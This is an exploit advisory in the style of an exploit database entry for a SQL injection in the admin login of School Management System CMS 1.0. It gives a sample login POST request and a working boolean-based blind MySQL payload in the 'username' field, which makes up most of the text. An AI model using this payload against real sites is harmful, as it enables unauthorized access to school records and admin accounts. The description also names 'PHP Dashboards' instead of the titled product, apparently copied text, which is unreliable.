School Management System CMS 1.0 - 'username' SQL Injection

# Exploit Title: School Management System CMS 1.0 - Admin Login SQL
Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/school-management-system-in-php-and-mysql/5
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.

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# PoC : SQLi :

https://test.com/school/maestro/index.php?view=processlogin

POST /school/maestro/index.php?view=processlogin HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://test.com/school/maestro/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&password=123456


Vulnerable Payload :

Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN
0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&password=123456



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